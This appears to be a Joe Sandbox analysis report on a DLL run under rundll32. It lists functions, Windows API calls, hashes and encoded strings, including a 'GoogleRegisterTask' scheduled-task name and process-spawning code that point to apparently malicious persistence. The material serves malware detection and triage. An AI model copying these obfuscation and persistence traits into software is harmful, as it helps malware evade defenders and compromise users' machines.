Instruction ID: b2ef149497753960300170237b5ab8f9198c92de32f7bb3b8371807c071ae1d1
Opcode Fuzzy Hash: aad5e9a581f097f0104f3c62fe998473158f2a9d2a84a25f880a9eb89a918e8c
Instruction Fuzzy Hash: 25E04F30A98309B7EF112F71DD46B493F69AF02B44F504470F90DF9195EB79D861C985

Function 6B9325E6 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(FB32F76A,00000000,00000000,?), ref: 6B932649

Part of subcall function 6B934945: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6B938E9F,?,00000000,-00000008), ref: 6B9349A6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6B93289B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6B9328E1
GetLastError.KERNEL32 ref: 6B932984

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 1f9315c600466f72c7746dc853051df72928a2955d50ec746d3b6d6b79931618
Instruction ID: 47e99add74c7a9bebca7aa54ae920c7b85d95ed588e90b813f86614056dd3e9c
Opcode Fuzzy Hash: 1f9315c600466f72c7746dc853051df72928a2955d50ec746d3b6d6b79931618
Instruction Fuzzy Hash: D0D18A75D04269AFCB05CFA8C990AEDBBB9FF09314F24416AE425EB351E634E941CB90

Function 6B926883 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6B92694A
___AdjustPointer.LIBCMT ref: 6B92696D
___AdjustPointer.LIBCMT ref: 6B926A09

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 782db5b2eb21bf65be25ad7246cb58a5a8e24fc9746911b45e708c0af9fee007
Instruction ID: d69143cf712d773978987428d441a5f490b7318c3b0a2b5b469c7e3991dc8116
Opcode Fuzzy Hash: 782db5b2eb21bf65be25ad7246cb58a5a8e24fc9746911b45e708c0af9fee007
Instruction Fuzzy Hash: D251157AD25602EFEB188F65C442B6A73B8FF51718F10416DE85147A99EB39E840CB90

Function 6B933694 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6B934945: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6B938E9F,?,00000000,-00000008), ref: 6B9349A6

GetLastError.KERNEL32 ref: 6B9336F8
__dosmaperr.LIBCMT ref: 6B9336FF
GetLastError.KERNEL32(?,?,?,?), ref: 6B933739
__dosmaperr.LIBCMT ref: 6B933740

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: d721eb1561ac68d40d3e969f71b4eac05a28fe267b63ac8149127c80e2c25ecc
Instruction ID: 3f386d64c9326600096316c7d369e1861d961667d6eb4cb77a56dc2c90bdc72a
Opcode Fuzzy Hash: d721eb1561ac68d40d3e969f71b4eac05a28fe267b63ac8149127c80e2c25ecc
Instruction Fuzzy Hash: 8621C27168C225AFD7309F76C88195BB7BDEF0176C7008558ED2A97660E738EC418B90

Function 6B9349E8 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6B9349F0

Part of subcall function 6B934945: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6B938E9F,?,00000000,-00000008), ref: 6B9349A6

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6B934A28
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6B934A48

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: ebafa3aa9de179e2c063b82ca69362ac408cc86dd4d4602a067ea5de0a7d218d
Instruction ID: e44686522afb4796f0e219440eeec1c0f850a0a81e1c8b75e2baf6af0378b2ca
Opcode Fuzzy Hash: ebafa3aa9de179e2c063b82ca69362ac408cc86dd4d4602a067ea5de0a7d218d
Instruction Fuzzy Hash: DC11D6B29055357F6B6197F69CCDD6F2EACCE96AAC3020124F505D1301FB2ACE0189B6

Function 6B939F4D Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,6B92D16B,00000000,00000000,?,6B9385E1,00000000,00000001,?,?,?,6B9329D8,?,00000000,00000000), ref: 6B939F64
GetLastError.KERNEL32(?,6B9385E1,00000000,00000001,?,?,?,6B9329D8,?,00000000,00000000,?,?,?,6B932FB2,00000000), ref: 6B939F70

Part of subcall function 6B939F36: CloseHandle.KERNEL32(FFFFFFFE,6B939F80,?,6B9385E1,00000000,00000001,?,?,?,6B9329D8,?,00000000,00000000,?,?), ref: 6B939F46

___initconout.LIBCMT ref: 6B939F80

Part of subcall function 6B939EF8: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6B939F27,6B9385CE,?,?,6B9329D8,?,00000000,00000000,?), ref: 6B939F0B

WriteConsoleW.KERNEL32(00000000,00000000,6B92D16B,00000000,?,6B9385E1,00000000,00000001,?,?,?,6B9329D8,?,00000000,00000000,?), ref: 6B939F95

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0c4de394c03ae4b405f4ec3e0fcd20e9010cf2465c37f058de9966e8af33cf99
Instruction ID: 4b911e8d7e92d117fbcf38956c20f8a0c1fc592f80aada0b1db5d02d2194119f
Opcode Fuzzy Hash: 0c4de394c03ae4b405f4ec3e0fcd20e9010cf2465c37f058de9966e8af33cf99
Instruction Fuzzy Hash: F0F0A237545129BBCF222FE5CC05A893F66EF0A765B154460FA1995121CA36CC20DB91

Function 6B926E7F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.KERNEL32(00000000,?), ref: 6B926EA4

Strings

RCC, xrefs: 6B926EBE
MOC, xrefs: 6B926EB6

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 287be66390cd92bc696adaad56ae708c88829332aa40badfd4022e1fea83bf6b
Instruction ID: be15016ad01f63012425d1069b906675305003b6937e9b97a0cfcb0226eb07bc
Opcode Fuzzy Hash: 287be66390cd92bc696adaad56ae708c88829332aa40badfd4022e1fea83bf6b
Instruction Fuzzy Hash: ED414C71D10209AFDF05CFA4CC81AEE7BB9FF49308F248099F9186A218D339E961DB51

Analysis Process: rundll32.exePID: 940, Parent PID: 1532COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	10

Executed Functions

Function 6F9E1B85 Relevance: 35.3, APIs: 11, Strings: 9, Instructions: 303
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,B5FBC098), ref: 6F9E1C0B
_strlen.LIBCMT ref: 6F9E1D30
ExpandEnvironmentStringsW.KERNEL32(?,?,000000FF), ref: 6F9E1D9D
FindNextFileW.KERNELBASE(?,?,?,?,?,B5FBC098), ref: 6F9E1FAC

Strings

-a , xrefs: 6F9E1DC2
%s\%s, xrefs: 6F9E1C6E
IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7BbtB>, xrefs: 6F9E1D10
GoogleRegisterTask, xrefs: 6F9E1E69
s`bovb-f{f, xrefs: 6F9E1DF8
%s\%s, xrefs: 6F9E1F48
PT30S, xrefs: 6F9E1E10
%s\*.*, xrefs: 6F9E1BE7
%s\%s, xrefs: 6F9E1E84

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: FileFind$EnvironmentExpandFirstNextStrings_strlen
String ID: %s\%s$%s\%s$%s\%s$%s\*.*$-a $GoogleRegisterTask$IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7BbtB>$PT30S$s`bovb-f{f
API String ID: 4146766196-3364674013
Opcode ID: d4e5a124c581805b333b48add5c211a7b2f9aacf73cec254da13c2a77a5f89e4
Instruction ID: e1b6d3ef3083582703a11bd80efeb5b3cf546df129010e3ae0f48a47c7ba7a34
Opcode Fuzzy Hash: d4e5a124c581805b333b48add5c211a7b2f9aacf73cec254da13c2a77a5f89e4
Instruction Fuzzy Hash: C6C1AEB1804249ABDF21DFA4DC49FED3BB8BF16318F50842AF904DA1D2EB35D6958B50

Function 6F9E4402 Relevance: 31.8, APIs: 9, Strings: 9, Instructions: 260
sleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6F9E171F: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6F9E175A
Part of subcall function 6F9E171F: _strlen.LIBCMT ref: 6F9E177C
Part of subcall function 6F9E171F: GetProcAddress.KERNEL32(?), ref: 6F9E17E2
Part of subcall function 6F9E171F: _strlen.LIBCMT ref: 6F9E180D

_strlen.LIBCMT ref: 6F9E4460
GetEnvironmentVariableW.KERNEL32(?,?,00000032), ref: 6F9E44CA
_strlen.LIBCMT ref: 6F9E44F0
_strlen.LIBCMT ref: 6F9E4571
_strlen.LIBCMT ref: 6F9E45E8

Part of subcall function 6F9E192F: _strlen.LIBCMT ref: 6F9E19BD
Part of subcall function 6F9E192F: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6FA074C4), ref: 6F9E1A5E

Sleep.KERNELBASE(000005DC), ref: 6F9E4654
Sleep.KERNELBASE(00007530), ref: 6F9E465F
_strlen.LIBCMT ref: 6F9E4685
_strlen.LIBCMT ref: 6F9E4706

Part of subcall function 6F9E1B85: FindFirstFileW.KERNELBASE(?,?,?,?,?,B5FBC098), ref: 6F9E1C0B

Strings

%s%s, xrefs: 6F9E4745
[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>, xrefs: 6F9E46E6
[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB, xrefs: 6F9E4665
VtAuBDZBgBA0BDFB`dAoBEtBRtApBDFB`tAyBDVB`tA`BFNBWBAWBFhBQBA`BKpBNBAjBGhBNRAkBG`BMBAjB@3BZRAhBG`BZtBwBGRBZRB6BDRBORAjBGVBMdByB@3BNdB6BDVBYRAnBGhBNRB1BG`BNRB0BGJBeRA`BFhBadAtBKJBatAiBENBYRAzBKZBYRAzBGNBNdB>, xrefs: 6F9E4551
gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>, xrefs: 6F9E4440
[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBRtAzBKhB`BA3BD;B[BAiBKJBfRAtBKRBLBB1B@7BYBAkBKRB, xrefs: 6F9E44D0
%s%s, xrefs: 6F9E46C4
%s%s, xrefs: 6F9E452F
bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BZRAiBDtBatAmB@7BgBA7BKRB, xrefs: 6F9E45C8

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: _strlen$Sleep$AddressCreateEnvironmentFileFindFirstHandleModuleProcProcessVariable
String ID: %s%s$%s%s$%s%s$VtAuBDZBgBA0BDFB`dAoBEtBRtApBDFB`tAyBDVB`tA`BFNBWBAWBFhBQBA`BKpBNBAjBGhBNRAkBG`BMBAjB@3BZRAhBG`BZtBwBGRBZRB6BDRBORAjBGVBMdByB@3BNdB6BDVBYRAnBGhBNRB1BG`BNRB0BGJBeRA`BFhBadAtBKJBatAiBENBYRAzBKZBYRAzBGNBNdB>$[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBRtAzBKhB`BA3BD;B[BAiBKJBfRAtBKRBLBB1B@7BYBAkBKRB$[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>$[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BZRAiBDtBatAmB@7BgBA7BKRB$gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>
API String ID: 405535372-2132796354
Opcode ID: eae8d40b9bdd07769d904abfc346c06edd37a2ae3d9f13e6397d9730f34dbf7f
Instruction ID: 2c7680931de376de2619396eaa5f30b24a0e569f8bd1fb9356e38d6d9c49b866
Opcode Fuzzy Hash: eae8d40b9bdd07769d904abfc346c06edd37a2ae3d9f13e6397d9730f34dbf7f
Instruction Fuzzy Hash: 97A1FAB2C0024CAFDF32DBA8DC85FDD7BB8AF29209F144016E914A72C2EB3592558F55

Function 6F9E192F Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 174
processCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 6F9E19BD
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6FA074C4), ref: 6F9E1A5E
_strlen.LIBCMT ref: 6F9E1AC4
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6FA074E0), ref: 6F9E1B60

Strings

%s %s, xrefs: 6F9E1A24
`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>, xrefs: 6F9E199D
%s %s, xrefs: 6F9E1B26
bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;B`dAoBD`BbRA3B@7BgBAwBKBB, xrefs: 6F9E1AA4

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: CreateProcess_strlen
String ID: %s %s$%s %s$`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;B`dAoBD`BbRA3B@7BgBAwBKBB
API String ID: 3222040079-4228346574
Opcode ID: 479711d39fad8989df4a24b01a2702ec981d89351e0691a40abaccb2ede4adc8
Instruction ID: eeba3f7f6244f04be8899fe200f099ed5ef7a916c772a5d8fc228899dd34ea34
Opcode Fuzzy Hash: 479711d39fad8989df4a24b01a2702ec981d89351e0691a40abaccb2ede4adc8
Instruction Fuzzy Hash: 57514DB1D40348ABEB31DFA4EC41FDD77A8BF19708F140029EA14AA1C2EBB5A6548B55

Function 6F9E4CA3 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6F9E4CEA
___scrt_uninitialize_crt.LIBCMT ref: 6F9E4D04

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 45cc6e3b3e78bbb5b2225db4e11605e4a27d29d19d74083c3e6b7111f2992fc5
Instruction ID: 37059377de260f8dd1f3dc0a93f98c3e9f8e93f29919172ca88f0f71fa4b8a1d
Opcode Fuzzy Hash: 45cc6e3b3e78bbb5b2225db4e11605e4a27d29d19d74083c3e6b7111f2992fc5
Instruction Fuzzy Hash: 0241B036D00715AFDB239F6DD800B9E76B8FF95768F01411AE814972D1D734E9828FA0

Function 6F9E4D53 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6F9E4D90
dllmain_crt_dispatch.LIBCMT ref: 6F9E4DA7
dllmain_raw.LIBCMT ref: 6F9E4DEF
dllmain_crt_dispatch.LIBCMT ref: 6F9E4E02
dllmain_raw.LIBCMT ref: 6F9E4E15

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 9e088eccd0d38fd08eb9c154a935de4b8f5c823d78eca76992ee5d991dc0d9fa
Instruction ID: 8f10adf93c27ff6c171c97f3b492e4155e6226eb741b233104789bec73f6c139
Opcode Fuzzy Hash: 9e088eccd0d38fd08eb9c154a935de4b8f5c823d78eca76992ee5d991dc0d9fa
Instruction Fuzzy Hash: A7216075D00625AFDB234F5DCC40AAF3A69FF95A94B01411AF8285B2D0D735ED918FD0

Function 6F9E1000 Relevance: 1.5, APIs: 1, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 6F9E1019

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 54fc6aacd580b97b9dcf23a0c7118d5f210e866714d3b420a18bffba4e75e17d
Instruction ID: 9ee46ea84656e40b968ae4b6b4acd968d6776ecdd68f5a6d189f0f0f73f1473a
Opcode Fuzzy Hash: 54fc6aacd580b97b9dcf23a0c7118d5f210e866714d3b420a18bffba4e75e17d
Instruction Fuzzy Hash: 38D01274649248EBCB059BB88905B8D77E8EF0B322F508026E514972C1D630DA44AD22

Non-executed Functions

Function 6F9F5C80 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10941fa296378a8a5a9f7a9e3a6299de1727250a8a886395a75c3011d5e11ab4
Instruction ID: 41f2b95840e196ad3d7dbdb32b86040b7d61d2fa60615cb2af592da44f612273
Opcode Fuzzy Hash: 10941fa296378a8a5a9f7a9e3a6299de1727250a8a886395a75c3011d5e11ab4
Instruction Fuzzy Hash: 93023F71E012199BDB14CFA9C98079EFBF5FF49314F24826AD915E7381D731A942CB90

Function 6F9E53EE Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6F9E53FA
IsDebuggerPresent.KERNEL32 ref: 6F9E54C6
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6F9E54DF
UnhandledExceptionFilter.KERNEL32(?), ref: 6F9E54E9

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 134e07f16de817758f734f24105152099ed11505c24f4926dfd762e6a870347b
Instruction ID: 78743b56ade3984030df1b2e3b95c62b6f536113c5d82bee217be2c7ea41bfe2
Opcode Fuzzy Hash: 134e07f16de817758f734f24105152099ed11505c24f4926dfd762e6a870347b
Instruction Fuzzy Hash: 7E31F6B5D05318EBDF21DFA4D9497CDBBB8AF08304F1041AAE50CAB290EB719A85CF45

Function 6F9E171F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 174
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6F9E175A
_strlen.LIBCMT ref: 6F9E177C
GetProcAddress.KERNEL32(?), ref: 6F9E17E2
_strlen.LIBCMT ref: 6F9E180D
GetProcAddress.KERNEL32(?), ref: 6F9E1873
_strlen.LIBCMT ref: 6F9E189E
GetProcAddress.KERNEL32(?), ref: 6F9E1904

Strings

